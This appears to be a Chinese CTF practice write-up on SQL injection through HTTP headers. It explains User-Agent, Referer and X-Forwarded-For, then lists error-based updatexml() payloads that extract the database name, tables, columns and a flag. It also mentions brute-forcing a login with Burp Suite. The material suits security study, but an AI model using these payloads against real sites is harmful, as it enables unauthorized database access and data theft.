sql head注入
关于head注入的解释
Header是指HTTP的头,包括
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Clien-IP:是代理服务器发送的HTTP头,取得用户的IP。
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
相关函数
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml()与extractvalue()类似,一样的功能,这里就不多赘述了。
另一个是
concat(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
user-agent有三个参数
相关练习
header的ua注入
需要先登录进行正常,才能进行相关操作
尝试万能语句,存在一些sql防注入,用bp跑,返现密码为123456
然后对ua后的进行注入
查库名
',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
0x7e是十六级进制的~,防止路径不符合
跑表名
',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
这个是查列的属性的 第二列是跟flag有关的,有一列是id,因为至多只能提交一列数据,不能多次进行查看,所以只能纸样一个一个个的来
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='flag_head'limit 1,1),0x7e),1))#
查看列对应的第一行内容
',updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1))#
referer同理
',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1),0x7e),1))#
',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e),1))#
xff的
同理
添加对应的xff头
xff后的冒号要空格
X-Forwarded-For: ',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 2,1),0x7e),1))#
别人都在不停的努力,自己又怎么会停